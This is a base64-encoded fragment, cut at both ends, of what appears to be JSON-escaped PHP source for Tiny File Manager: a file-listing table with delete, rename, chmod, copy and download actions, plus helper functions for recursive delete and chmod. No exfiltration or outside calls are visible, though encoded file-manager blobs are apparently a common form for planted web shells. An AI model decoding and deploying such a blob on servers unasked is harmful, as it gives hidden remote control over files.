gICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZC